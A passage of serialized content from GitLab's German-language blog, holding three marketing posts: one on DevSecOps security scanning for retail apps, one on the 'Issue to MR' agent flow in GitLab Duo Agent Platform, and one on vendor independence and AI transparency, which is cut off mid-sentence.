für das Entwickeln sicherer Retail-Apps mit GitLab","So hilft die DevSecOps-Plattform Händlern bei der Entwicklung sicherer, konformer Software für komplexe Retail-Umgebungen.",{"title":862,"description":863,"authors":865,"body":868,"category":765,"tags":869,"date":870,"heroImage":871},[866,867],"Itzik Gan Baruch","Rebeca Fenoy-Anthony","Händler stehen bei der Anwendungssicherheit vor besonderen Herausforderungen – hauptsächlich weil die **Angriffsfläche durch die Komplexität des modernen Handels größer ist als je zuvor**. Von mobilen Apps und KI-gestützter Personalisierung bis zu Omni-Channel-Plattformen und IoT im Geschäft – jeder Berührungspunkt erhöht die Anzahl der Systeme, die gesichert und überwacht werden müssen. Eine einzelne Schwachstelle betrifft nicht nur eine Komponente, sondern kann sich auf Zahlungsabwickler, Bestandssysteme, Kundendaten und letztendlich das Markenvertrauen auswirken.\n\nTraditionelle Sicherheitsansätze, die früher funktionierten, können heute nicht mehr mithalten. Sicherheitsprozesse werden oft nachträglich hinzugefügt, was Teams verlangsamt und Risiken erhöht. Aber so muss es nicht sein.\n\n**Moderne Plattformen integrieren Sicherheit in den gesamten Entwicklungs-Lebenszyklus** und machen Security zu einem nahtlosen Teil des Entwickler-Workflows, nicht zu einer Barriere für die Bereitstellung. Dieser Ansatz verwandelt Sicherheit in einen strategischen Vorteil und ermöglicht Innovation ohne Kompromisse.\n\nIn diesem Artikel erfährst du, wie eine integrierte DevSecOps-Plattform Retail-Teams dabei hilft, steigenden Sicherheitsanforderungen gerecht zu werden, **ohne die Bereitstellung zu verlangsamen oder die Kundenerfahrung zu beeinträchtigen**.\n\n## Warum Retail-Sicherheit einen anderen Ansatz erfordert\n\nIm Einzelhandel geht es bei Sicherheit um mehr als nur Datenschutz – es geht um den Schutz der Kundenerfahrung, die für das Geschäftsergebnis entscheidend ist. Jede Verlangsamung, jeder Ausfall oder jede Schwachstelle kann zu Umsatzverlusten und gebrochenem Vertrauen führen. Handelsplattformen müssen online bleiben, Compliance-Standards erfüllen und sich gegen ununterbrochene Angriffe aus dem offenen Internet verteidigen. Im Gegensatz zu Unternehmenssystemen sind sie vollständig öffentlich zugänglich und haben eine viel breitere Angriffsfläche. Füge Drittanbieter-Integrationen, APIs und Legacy-Systeme hinzu, und es wird klar: Traditionelle Sicherheitsansätze reichen nicht aus.\n\nZur Komplexität kommt hinzu, dass Händler vor einzigartigen Herausforderungen stehen, die ihre Sicherheitsrisiken weiter erhöhen, darunter:\n\n### Fragilität der Lieferkette und API-Wildwuchs\n\nVersandverzögerungen, globale Instabilität und vernetzte Systeme stören die Logistik. Fast die Hälfte der Händler berichtet über Probleme mit der Produktverfügbarkeit, und 25 % fehlt die Echtzeit-Bestandstransparenz, laut einer [Umfrage von Fluent Commerce 2024](https://premierconstructionnews.com/2024/05/25/retails-revival-fluent-commerce-study-finds-93-of-uk-retailers-expect-business-growth-over-next-year-despite-economic-challenges-and-supply-chain-disruption/). Während KI-gestützte Prognosen helfen, schaffen unsichere APIs und fragile Integrationen in der digitalen Lieferkette Angriffsvektoren.\n\n### Legacy-Systeme treffen auf moderne Anforderungen\n\nViele Händler arbeiten mit monolithischen, veralteten Systemen, die Schwierigkeiten haben, mobile Apps, IoT-Geräte und Echtzeit-Analysen sicher zu unterstützen. Ohne sichere, agile Grundlagen wird jeder neue digitale Berührungspunkt zu einer potenziellen Schwachstelle.\n\n### KI- und Compliance-Komplexität\n\nKI verändert Einzelhandelserlebnisse durch personalisierte Empfehlungen und fortschrittliche Kundenverfolgungstechnologien wie Beacon-Sensoren, Gesichtserkennung und mobile App-Standortdienste, die Bewegungen und Verhalten in physischen Geschäften überwachen. Diese KI-gestützten Systeme verbessern sowohl Kundenerlebnisse als auch Nachfrageprognosen für Händler. Allerdings erfordern die [DSGVO](https://gdpr.eu/what-is-gdpr/) (die Datenschutz-Grundverordnung der Europäischen Union) und ähnliche globale Datenschutzgesetze sichere Datenverarbeitung und transparente KI-Logik. Sicherheitsfehler können zu erheblichen Geldstrafen und dauerhaftem Reputationsschaden führen.\n\n### Risiken bei kundenorientierten Automatisierungen\n\nSelf-Checkouts, Kioske und Chatbots versprechen Komfort und Kosteneinsparungen, aber oft fehlt die Sicherheitshärtung. Diese Berührungspunkte werden zu Einstiegspunkten für Cyberangreifer und ermöglichen traditionellen Diebstahl durch schwache Betrugserkennung, begrenzte Überwachung und leicht manipulierbare Systeme, die Ladendiebstahl schwerer erkennbar machen.\n\n### Unterschiedliche Bedrohungsflächen\n\nHändler befinden sich in einer einzigartigen Position, in der sie über mehrere Vektoren hinweg sichern müssen, die oft von global verteilten Teams gepflegt werden (je nach Größe der Organisation). E-Commerce-Plattformen, mobile Anwendungen, Point-of-Sale-(POS-)Systeme und IoT-Geräte im Geschäft bieten jeweils einen Einstiegspunkt für Bedrohungsakteure mit einzigartigen Eigenschaften, die verschiedene Sicherheitslösungen erfordern, um Widerstandsfähigkeit zu gewährleisten.\n\nDies schafft ein einzigartiges Paradoxon: Händler müssen schneller als je zuvor innovieren und gleichzeitig höhere Sicherheitsstandards als die meisten Branchen einhalten, während sie nahtlose Kundenerlebnisse über jeden Kanal hinweg liefern.\n\n## Warum traditionelle AppSec im Einzelhandel versagt\n\nDie meisten Händler verlassen sich auf unverbundene Sicherheitstools wie statische Anwendungssicherheitstests (SAST), Lizenzprüfer und Schwachstellenbewertungen, die isoliert arbeiten. Dieser fragmentierte Ansatz schafft kritische Lücken:\n\n* **Begrenzte Lebenszyklusabdeckung:** Tools konzentrieren sich auf enge Entwicklungsphasen und verpassen Lieferketten- und Laufzeitrisiken.\n* **Integrationsherausforderungen:** Lücken in Legacy-Systemen und schlechte Tool-Konnektivität schaffen Sicherheitsblindpunkte zwischen Teams und Lösungen.\n* **Manuelle Prozesse:** Sicherheitsübergaben schaffen Engpässe, und Probleme werden oft spät entdeckt, wenn sie kostspieliger zu beheben sind.\n* **Team-Silos:** Sicherheit bleibt isoliert von täglichen Entwicklungsworkflows und getrennt von Compliance- und IT-Teams.\n\n### Der Weg nach vorn\n\nIn der heutigen Einzelhandelslandschaft kann Sicherheit Innovation nicht verlangsamen. Die direkte Einbettung in den Entwicklungslebenszyklus und die Zusammenführung aller Teams auf einer einheitlichen DevSecOps-Plattform macht Sicherheit zu einem strategischen Vorteil statt zu einem Engpass.\n\n### Eine DevSecOps-Plattform ermöglicht sichere Innovation im großen Maßstab\n\nGitLab bietet das umfassendste Set an Sicherheitsscannern zur Maximierung der Anwendungsabdeckung, einschließlich:\n\n* [SAST](https://docs.gitlab.com/user/application_security/sast/)  \n* [DAST](https://docs.gitlab.com/user/application_security/dast/)  \n* [Abhängigkeitsscannen](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/) \n* [Container-Scannen](https://docs.gitlab.com/user/application_security/container_scanning/)  \n* [Geheimnis-Erkennung](https://docs.gitlab.com/user/application_security/secret_detection/)  \n* [Infrastructure-as-Code-Scannen](https://docs.gitlab.com/user/application_security/iac_scanning/)  \n* [Fuzz-Testing](https://docs.gitlab.com/user/application_security/api_fuzzing/)\n\nAber bei Sicherheit geht es nicht nur ums Scannen. Es geht darum, [die richtigen Richtlinien durchzusetzen](https://docs.gitlab.com/user/compliance/compliance_frameworks/), um sicherzustellen, dass Schwachstellen konsistent identifiziert und behoben werden. Mit GitLab erhalten Sicherheitsteams volle Kontrolle, um sicherzustellen, dass der richtige Scan zur richtigen Zeit auf der richtigen Anwendung ausgeführt wird und dass die Ergebnisse behandelt werden, bevor sie in die Produktion gelangen.\n\n![Sicherheitsscans in Pipeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988740/x2dteagn1z8tjfahmobv.png)\n\n\u003Ccenter>\u003Ci>Sicherheitsscans laufen in der CI/CD-Pipeline und liefern sofortiges Feedback zu potenziellen Schwachstellen.\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n![Der Schwachstellenbericht zeigt alle Schwachstellen für ein bestimmtes Projekt oder eine Gruppe.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988740/npsgvu5e0sd2kpoxug7f.png)\n\n\u003Ccenter>\u003Ci>Der Schwachstellenbericht zeigt alle Schwachstellen für ein bestimmtes Projekt oder eine Gruppe.\u003C/i>\u003C/center>\n\n### Eine Plattform für Dev, Sec und Ops\n\nRetail-Teams verschwenden unzählige Stunden damit, zwischen Tools zu wechseln, Daten manuell zu übertragen, Informationen zwischen Systemen aufgrund fragiler Integrationen zu verlieren und widersprüchliche Berichte abzugleichen. Eine einheitliche Plattform beseitigt diese Reibung:\n\n* **Einzige Quelle der Wahrheit** für Quellcode, Pipelines, Schwachstellen und Compliance  \n* **Kein Integrationsaufwand** oder Tool-Kompatibilitätsprobleme  \n* **Konsistente Workflows** über alle Teams und Projekte\n\nDas Ergebnis? Teams verbringen Zeit mit der Lösung von Problemen anstatt mit der Verwaltung von Tools.\n\n![Compliance-Center, wo Sie Compliance-Frameworks für Ihre Projekte durchsetzen können.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988739/d2nzltd1a2gypywzhv5f.png)\n\n\u003Ccenter>\u003Ci>Im Compliance-Center kannst du Compliance-Frameworks für deine Projekte durchsetzen.\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n![Im Merge Request benötigen Entwickler(innen) eine Genehmigung, wenn Risiken erkannt werden, bevor Code gemergt wird, gemäß definierten Richtlinien.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988740/szoocztazaup2avkaxhu.png)\n\n\u003Ccenter>\u003Ci>Im Merge Request benötigen Entwickler(innen) eine Genehmigung, wenn Risiken erkannt werden, bevor Code gemergt wird, gemäß definierten Richtlinien.\u003C/i>\u003C/center>\n\n### Geteilte Sicherheitsverantwortung, keine Silos\n\nDie erfolgreichsten Retail-Sicherheitsprogramme machen Sicherheit zur Verantwortung aller, nicht nur zur Last des Sicherheitsteams.\n\n**Entwickler(innen)-Ermächtigung**\n\nSicherheits- und Compliance-Anleitungen erscheinen direkt in Merge Requests, wodurch es unmöglich wird, kritische Probleme zu übersehen. Entwickler(innen) erhalten sofortiges Feedback zu jedem Commit mit klaren Erklärungen zu Risiken und Behebungsschritten. Zum Beispiel helfen KI-gestützte Schwachstellenerklärung und Schwachstellenbehebung Entwickler(inne)n, Sicherheitsprobleme unabhängig zu verstehen und zu beheben, wodurch Engpässe reduziert und Sicherheitsexpertise im gesamten Team aufgebaut wird.\n\n![Schwachstellenseite mit Schaltfläche zur Erklärung oder Lösung von Problemen mit KI. Hilft, die Wissenslücke mit KI zu überbrücken.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988741/uenrjye3arfg9wjtwss1.png)\n\n\u003Ccenter>\u003Ci>Schwachstellenseite mit Schaltfläche zur Erklärung oder Lösung von Problemen mit KI. Hilft, die Wissenslücke mit KI zu überbrücken.\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p>\n\n**Automatisierte Compliance**\n\nGeneriere Audit-Berichte, verfolge die Lizenznutzung und pflege eine Software-Stückliste (SBOM) ohne manuellen Aufwand.\n\n![GitLabs automatisierter Abhängigkeitsbericht bietet eine umfassende SBOM, die alle Projektabhängigkeiten mit ihrem Schwachstellenstatus, Lizenzdetails und Sicherheitsergebnissen für vollständige Transparenz und Compliance anzeigt.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988739/gpakhdvkegloqxhaeje8.png)\n\n\u003Ccenter>\u003Ci>GitLabs automatisierter Abhängigkeitsbericht bietet eine umfassende SBOM, die alle Projektabhängigkeiten mit ihrem Schwachstellenstatus, Lizenzdetails und Sicherheitsergebnissen für vollständige Transparenz und Compliance anzeigt.\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nDieser Ansatz verwandelt Sicherheit von einem HIndernis, das die Bereitstellung verlangsamt, in ein Fundament, das selbstbewusste, schnelle Innovation ermöglicht.\n\n## Plattform vs. Einzeltools: Was Händler wissen müssen\n\n| Fähigkeit                      | Einzeltools              | GitLab DevSecOps-Plattform                     |\n| ------------------------------ | ------------------------ | ---------------------------------------------- |\n| SAST/DAST/API/Fuzz             | Getrennt & begrenzt      | Vollständig integriert                         |\n| Lizenz- & Abhängigkeitsscannen | Oft externe Tools        | Eingebaut                                      |\n| Compliance- & Audit-Berichte   | Manuell oder unverbunden | Automatisiert mit Nachverfolgbarkeit           |\n| Zusammenarbeit zwischen Teams  | Fragmentiert             | Einheitliche Umgebung                          |\n| End-to-End-Sichtbarkeit        | Tool-spezifisch          | Vollständiger Lebenszyklus + Wertstrom-Ansicht |\n\n## Das Fazit: Sicherheitsexzellenz treibt den Einzelhandelserfolg voran\n\nIm Einzelhandel geht es bei Sicherheit nicht nur um Datenschutz, sondern um den Schutz der Kundenerfahrung, die den Umsatz antreibt. Wenn Sicherheit Veröffentlichungen verlangsamt oder Schwachstellen schafft, wirkt sich das direkt auf den Umsatz aus. Kunden erwarten jedes Mal sichere, nahtlose Erlebnisse.\n\nGitLabs integrierte DevSecOps-Plattform hilft Händlern:\n\n* **Schneller bereitzustellen ohne Sicherheitskompromisse** mit automatisierten Scans, die Probleme erkennen, bevor Kunden es tun.  \n* **Compliance-Anforderungen mühelos zu erfüllen** durch integrierte Berichterstattung für DSGVO, PCI-DSS und Branchenstandards.  \n* **Sicherheitstoolkosten erheblich zu senken** durch Ersatz mehrerer Einzellösungen mit einer Plattform.  \n* **Entwickler(innen) zu Sicherheitsbefürwortern zu machen** mit Anleitung und Automatisierung, nicht mit Hindernissen.\n\nTeste hier einige der Sicherheitsfunktionen von GitLab:\n\n* [Schwachstellen mit GitLab Duo beheben](https://gitlab.navattic.com/ve-vr-short)   \n* [Scans zur Pipeline hinzufügen](https://gitlab.navattic.com/gitlab-scans)  \n* [Compliance-Frameworks](https://gitlab.navattic.com/compliance-short)  \n* [Erweiterte SAST](https://gitlab.navattic.com/advanced-sast-short)\n\n> Bereit loszulegen? Entdecke, wie GitLab Ultimate mit Duo Enterprise deine Retail-Sicherheitsstrategie mit einer [kostenlosen Testversion](https://about.gitlab.com/free-trial/) optimieren kann.",[765,680,745,679],"2025-09-04","https://res.cloudinary.com/about-gitlab-com/image/upload/v1756989645/fojzxakmfdea6jfqjkrl.png",{"featured":92,"template":682,"slug":873},"a-developers-guide-to-building-secure-retail-apps-with-gitlab","content:de-de:blog:a-developers-guide-to-building-secure-retail-apps-with-gitlab.yml","A Developers Guide To Building Secure Retail Apps With Gitlab","de-de/blog/a-developers-guide-to-building-secure-retail-apps-with-gitlab.yml","de-de/blog/a-developers-guide-to-building-secure-retail-apps-with-gitlab",{"_path":879,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":880,"content":884,"config":894,"_id":896,"_type":16,"title":897,"_source":17,"_file":898,"_stem":899,"_extension":20},"/de-de/blog/vibe-coding-with-gitlab-duo-agent-platform-issue-to-mr-flow",{"config":881,"title":882,"description":883},{"noIndex":6},"Vibe Coding mit GitLab Duo Agent Platform: 'Issue to MR' Flow","Mit unserem neuesten Flow kommst du in Minuten von der Idee zum Code.",{"heroImage":885,"body":886,"authors":887,"updatedDate":889,"date":890,"title":891,"tags":892,"description":893,"category":677},"https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1749662465/Blog/Hero%20Images/GitLab_Duo_Workflow_Unified_Data_Store__1_.png","[GitLab Duo Agent Platform](https://about.gitlab.com/de-de/gitlab-duo/agent-platform/) (jetzt in der Beta verfügbar) bietet ein Framework für KI-Agenten zur Interaktion mit GitLab-Ressourcen wie Issues und Merge Requests und ermöglicht komplexe, mehrstufige Aufgaben vom Konzept bis zur Fertigstellung. Agent Platform bietet dialogorientierte ([Agentic Chat](https://about.gitlab.com/de-de/blog/gitlab-duo-chat-gets-agentic-ai-makeover/)) und automatisierte ([Agent Flows](https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/)) Erfahrungen zur Unterstützung bei der Code-Generierung, Modernisierung, Behebung von Sicherheitslücken und Projektanalyse – alles mit Enterprise-Grade-Sicherheit und anpassbaren Kontrollen.\n\n\"Issue to MR\" ist ein Agent Flow, der die Umwandlung eines klar definierten Issues in einen Draft Merge Request (MR) vereinfacht. Der Flow analysiert die Beschreibung und Anforderungen eines Issues, öffnet einen Draft MR, der mit dem Issue verknüpft ist, erstellt einen Entwicklungsplan und schlägt eine Implementierung vor – direkt aus der GitLab-Oberfläche.\n\n## Die Herausforderung für Entwickler\n\nProduktanpassungen wie das Umgestalten eines UI-Layouts, das Anpassen der Komponentengröße oder kleine Workflow-Änderungen sollten nicht stundenlange Einrichtungsarbeiten erfordern. Doch Entwickler finden sich in einem frustrierenden Kreislauf wieder: Sie durchsuchen Codebasen nach den richtigen Dateien, erstellen Branches, fügen verstreute Änderungen über mehrere Komponenten zusammen und navigieren durch komplexe Review-Prozesse. Und das alles, bevor sie überhaupt sehen können, ob ihre Lösung funktioniert. Der Entwicklungsaufwand verwandelt einfache Iterationen in zeitaufwändige Aufgaben, verlangsamt Feedback-Schleifen und lässt kleine Produktverbesserungen wie große Projekte erscheinen.\n\n## Wie der Issue to MR Flow eine Anwendungsaktualisierung beschleunigt\n\nDu musst zuerst diese Voraussetzungen erfüllen, bevor du den Issue to MR Flow nutzen kannst.\n\nVoraussetzungen:\n\n* Ein bestehendes Issue mit klaren Anforderungen und Akzeptanz-Kriterien. Dies hilft GitLab Duo Agent Platform besser zu verstehen, was du erreichen möchtest, und verbessert die Qualität deiner Ausgabe.\n* Projektzugriff mit mindestens Developer-Berechtigungen, da der Flow Änderungen am Quellcode deines Projekts vornimmt.\n* GitLab Duo Agent Platform für deine Gruppe oder dein Projekt aktiviert, mit erlaubten Flows. Gehe dazu in deinem Projekt zu **Einstellungen > Allgemein > GitLab Duo > Flow-Ausführung erlauben** und aktiviere es. GitLab ist bestrebt, Sicherheitsvorkehrungen zu bieten, daher erfordern Agentic-AI-Funktionen das Aktivieren dieser Schalter, um sensible Projekte zu schützen und sicherzustellen, dass nur die gewünschten Projekte für GitLab Duo Agent Platform zugänglich sind.\n\nSobald du alle oben genannten Voraussetzungen erfüllt hast, kannst du diese Schritte befolgen, um den Issue to MR Flow zu nutzen:\n\n1. Erstelle ein Projekt-Issue, das beschreibt, was GitLab Duo Agent Platform für dich erreichen soll. Gib so viele Details wie möglich in der Issue-Beschreibung an. Falls das Issue bereits existiert, öffne es über **Plan > Issues** und klicke auf das Issue, das die gewünschte Aktualisierung beschreibt. Drücke dich so präzise wie möglich aus.\n2. Klicke unter der Issue-Überschrift auf **Generate MR with Duo**, um den Flow zu starten.\n3. Wenn du den Fortschritt der Agenten bei der Implementierung deines Issues verfolgen möchtest, gehe zu **Automate > Agent sessions**, um das Live-Session-Log zu sehen, während Agenten planen und Änderungen vorschlagen.\n4. Wenn die Pipeline abgeschlossen ist, erscheint ein Link zum MR in der Issue-Aktivität. Öffne ihn, um die Zusammenfassung und dateibasierte Änderungen zu überprüfen.\n5. Wenn du die von GitLab Duo Agent Platform vorgeschlagenen Aktualisierungen lokal validieren möchtest, kannst du den Branch auf deinen Laptop ziehen, deine App erstellen und ausführen und überprüfen, ob die Aktualisierung wie erwartet funktioniert. Falls nötig, nimm Änderungen im MR vor und fahre mit dem normalen Review fort.\n6. Wenn du mit allen vorgeschlagenen Anwendungsaktualisierungen zufrieden bist, merge den MR in den Main Branch.\n\n## Warum der Issue to MR Flow gut für Anwendungsänderungen funktioniert\n\nDer Issue to MR Flow schlägt Code-Änderungen vor und aktualisiert den MR direkt, sodass du weniger Zeit mit der Dateisuche verbringst und nur das Ergebnis bewerten und überprüfen musst. Zusätzlich wird der MR automatisch mit dem ursprünglichen Issue verknüpft, was den Kontext für Reviewer und Stakeholder klar hält. Schließlich kannst du die Agent-Session überwachen, um zu verstehen, was bei jedem Schritt passiert.\n\n## Vorteile von GitLab Duo Agent Platform\n\nGitLab Duo Agent Platform ist [eine agentische Orchestrierungsschicht](https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-public-beta/), die **vollständigen Projektkontext** mitbringt, einschließlich Planung, Codierung, Erstellung, Sicherung, Bereitstellung und Überwachung, sodass Agenten im gesamten Software-Entwicklungslebenszyklus (SDLC) helfen können, nicht nur bei der Code-Bearbeitung.\n\n* Einheitliches Datenmodell: GitLab Duo Agents arbeiten mit GitLabs einheitlichen SDLC-Daten und ermöglichen qualitativ hochwertigere Entscheidungen und Zusammenarbeit bei Aufgaben – auch bei nicht codebezogenen.\n* Sicherheit und Compliance sind integriert: GitLab Duo Agents laufen innerhalb von Enterprise-Sicherheitsvorkehrungen und sind auch in stark regulierten oder Offline-/Air-Gap-Umgebungen nutzbar.\n* Interoperabilität und Erweiterbarkeit: Orchestriere Flows über Anbieter und Tools hinweg; verbinde externe Daten über [MCP](https://about.gitlab.com/topics/ai/model-context-protocol/)/A2A für reicheren Kontext.\n* Skaliere die Zusammenarbeit: GitLab Duo Agents arbeiten in der GitLab-UI und IDEs und ermöglichen Viele-zu-Viele-Mensch-Agent-Zusammenarbeit.\n* Auffindbar und teilbar: Finde und teile Agents und Flows in einem zentralisierten AI-Katalog.\n\n## Probiere den Issue to MR Flow noch heute aus\n\nFür Anwendungsaktualisierungen, wie eine kleine UI-Anpassung, hilft dir der Issue to MR Flow, schnell von einem klaren Issue zu einem überprüfbaren MR zu gelangen, mit Fortschritt, den du überwachen kannst, und Änderungen, die du validieren und über deinen Standardworkflow mergen kannst. Er bewahrt den Kontext, reduziert Übergaben und lässt dein Team sich auf Qualität statt auf Routinearbeit konzentrieren.\n\nSieh dir den Issue to MR Flow in Aktion an:\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/BrrMHN4gXF4?si=J7beTgWOLxvS4hOw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n> Probiere den Issue to MR Flow auf GitLab Duo Agent Platform jetzt mit einer [kostenlosen Testversion von GitLab Ultimate mit Duo Enterprise](https://about.gitlab.com/de-de/free-trial/) aus.",[888],"Cesar Saavedra","2025-09-08","2025-09-03","Vibe Coding mit GitLab Duo Agent Platform: Issue to MR",[679,680,745,767],"So aktualisierst du deine Anwendung mit unserem neuesten Flow in wenigen Minuten. ",{"featured":92,"template":682,"slug":895},"vibe-coding-with-gitlab-duo-agent-platform-issue-to-mr-flow","content:de-de:blog:vibe-coding-with-gitlab-duo-agent-platform-issue-to-mr-flow.yml","Vibe Coding With Gitlab Duo Agent Platform Issue To Mr Flow","de-de/blog/vibe-coding-with-gitlab-duo-agent-platform-issue-to-mr-flow.yml","de-de/blog/vibe-coding-with-gitlab-duo-agent-platform-issue-to-mr-flow",{"_path":901,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":902,"content":906,"config":915,"_id":917,"_type":16,"title":918,"_source":17,"_file":919,"_stem":920,"_extension":20},"/de-de/blog/why-enterprise-independence-matters-more-than-ever-in-devsecops",{"config":903,"title":904,"description":905},{"noIndex":6},"Warum Unabhängigkeit in DevSecOps wichtiger ist denn je","Führungskräfte hinterfragen die Kontrolle ihrer Entwicklungsinfrastruktur. GitLabs Unabhängigkeit ist relevanter denn je.\n",{"title":904,"description":907,"authors":908,"date":910,"body":911,"category":677,"tags":912,"heroImage":914},"Unternehmen hinterfragen, wer ihre Entwicklungsinfrastruktur wirklich kontrolliert. Deshalb gilt: GitLabs Unabhängigkeit ist relevanter denn je.\n",[909],"Robin Schulman","2025-09-02","Seit über einem Jahrzehnt setzt sich GitLab für Transparenz, Unabhängigkeit und die Priorisierung von Entwickler(inne)n ein. Heute ist das wichtiger denn je, während sich die Branche weiterentwickelt. Unternehmensführungen stellen kritische Fragen: Wer kontrolliert letztendlich die Entwicklungsinfrastruktur? Wie wird der Code in KI-Systemen verwendet? Was passiert, wenn sich Anbieter-Prioritäten von kritischen Anforderungen wegbewegen?\n\nLetzten Monat [kündigten wir GitLab 18.3 an](https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/), die neueste Version unserer KI-nativen DevSecOps-Plattform. Agent Insights, Teil der GitLab Duo Agent Platform, bietet Einblicke in die Entscheidungsprozesse der Agenten. Erweiterte KI-Modellunterstützung bedeutet keine Anbieterabhängigkeit. Verbesserte Governance-Kontrollen ermöglichen Compliance über mehrere Rechtsräume hinweg.\n\nDas sind nicht nur Funktionen. Es sind Beispiele für Transparenz, Unabhängigkeit und den entwicklerorientierten Ansatz, der GitLab definiert. So setzt sich diese Strategie in der Praxis um.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1115249475?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Who is GitLab_Robin_090225_FINAL\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## KI-Transparenz über den gesamten DevSecOps-Lebenszyklus\n\n**Bei GitLab adressiert unser jahrzehntelanges Engagement für Transparenz diese Bedenken direkt.** Da künstliche Intelligenz zunehmend in Entwicklungs-Workflows integriert wird, sind Organisationen zu Recht besorgt darüber, wie Code und Daten für KI-Training verwendet werden.\n\nDas GitLab [KI-Transparenzzentrum](https://about.gitlab.com/de-de/ai-transparency-center/), im April 2024 gestartet, bietet eine klare Dokumentation unserer Datenverarbeitungspraktiken, Datenschutzmaßnahmen und ethischen KI-Prinzipien. Im Gegensatz zu Plattformen, die KI-Funktionen mit unklaren Datennutzungsrichtlinien betreiben, priorisiert GitLab Transparenz, damit Kund(inn)en [genau verstehen, wie Daten verarbeitet werden](https://docs.gitlab.com/user/gitlab_duo/data_usage/), gespeichert und geschützt werden – ohne Training mit diesen Daten.\n\nUnser Ansatz erstreckt sich auf Modellflexibilität und Anbieterunabhängigkeit. Während einige Plattformen Kund(inn)en an einzelne Large Language Model (LLM)-Anbieter binden und damit zusätzliche Anbieterabhängigkeiten und potenzielle Single Points of Failure schaffen, werden GitLabs KI-Funktionen von verschiedenen Modellen unterstützt. Dieser Ansatz ermöglicht es uns, eine breite Palette von Anwendungsfällen zu unterstützen und bietet Kund(inn)en die Flexibilität, sich an strategischen Prioritäten auszurichten.\n\nBei der Weiterentwicklung der GitLab Duo Agent Platform bleiben wir auf Datenkontrolle fokussiert und behalten umfassende Human-in-the-Loop-Kontrollen bei. Und GitLab Duo Self-Hosted bietet vollständige Datensouveränität mit luftdichten Bereitstellungsoptionen, Zero-Day-Datenaufbewahrungsrichtlinien und der Möglichkeit, alle KI-Anfragen innerhalb der eigenen Infrastruktur zu verarbeiten.\n\nSeit Mai 2024 pflegen wir auch einen [KI-Kontinuitätsplan](https://handbook.gitlab.com/de-de/handbook/product/ai/continuity-plan/) mit einem branchenführenden Versprechen: die Fähigkeit, innerhalb von 30 Tagen ein neues Modell zu evaluieren und zu wechseln, falls ein Anbieter seine Praktiken bezüglich Kundendaten ändert. Dieser proaktive Ansatz zum KI-Anbieter-Risikomanagement spiegelt unser Engagement für Kundenkontrolle wider.\n\n## Wahlfreiheit bei Bereitstellung und Cloud-Anbieter\n\n**Organisationen sollten wählen können, wie und wo die DevSecOps-Umgebung bereitgestellt wird.** GitLab bietet echte Bereitstellungsflexibilität. Organisationen können zwischen On-Premises-Installationen, Multi-Tenant-SaaS oder GitLab Dedicated wählen, unserer vollständig verwalteten Single-Tenant-SaaS-Lösung, ohne auf Funktionalität zu verzichten oder künstlichen Einschränkungen ausgesetzt zu sein, die auf Ökosystem-Lock-in abzielen. GitLab ist auch Cloud-neutral, sodass Kund(inn)en den Cloud-Anbieter nutzen können, der am besten zu Geschäftsanforderungen und Umgebung passt.\n\nDiese Flexibilität erweist sich als unschätzbar wertvoll bei der Navigation durch komplexe rechtliche Anforderungen und regulatorische Herausforderungen. Wenn neue Datenlokalisierungsgesetze entstehen – wie wir es in der Europäischen Union und anderen Regionen gesehen haben – können Organisationen, die GitLab nutzen, ihre Bereitstellungsstrategien schnell anpassen, ohne durch Ökosystemabhängigkeiten eingeschränkt zu sein.\n\nAus Beschaffungs- und Risikomanagement-Perspektive bietet Plattformunabhängigkeit auch entscheidende Verhandlungsmacht bei Vertragsverhandlungen. Organisationen werden nicht in restriktive Lizenzvereinbarungen gezwungen, die Anbieterinteressen über Kundenbedürfnisse stellen. Diese Unabhängigkeit wird besonders kritisch, da Unternehmen wachsamer werden, wer ihren KI-Stack kontrolliert.\n\n## Sicherheit und Compliance: Eingebaut und immer Priorität\n\n**Sicherheit und Compliance sind jetzt genauso wichtig wie Entwicklungsfunktionen und sollten in die Plattform eingebaut sein, nicht nachträglich hinzugefügt.** GitLabs Single-Platform-Ansatz bietet erhebliche Vorteile gegenüber fragmentierten Plattformen, die auf Drittanbieter-Add-Ins angewiesen sind, um grundlegende Sicherheits- und Governance-Funktionen zu erreichen. Dieser architektonische Unterschied hat erhebliche Auswirkungen auf mögliche rechtliche Risiken, operative Effizienz und regulatorische Compliance. Jedes zusätzliche Tool in der Kette stellt einen weiteren potenziellen Fehlerquellen dar, weitere Geschäftsbedingungen, die verhandelt werden müssen, und eine weitere Risikoquelle.\n\nGitLab bietet umfassende eingebaute Sicherheits- und Compliance-Funktionen, einschließlich kundenspezifischer Compliance-Frameworks, dynamischem Application Security Testing (DAST), API-Fuzz-Testing, Coverage-Guided Fuzzing und Infrastructure-as-Code-Testing. Diese Funktionen sind nativ in die Plattform integriert und bieten konsistente Richtliniendurchsetzung und reduzieren die Compliance-Komplexität und zusätzlichen Kosten, die mit der Verwaltung mehrerer 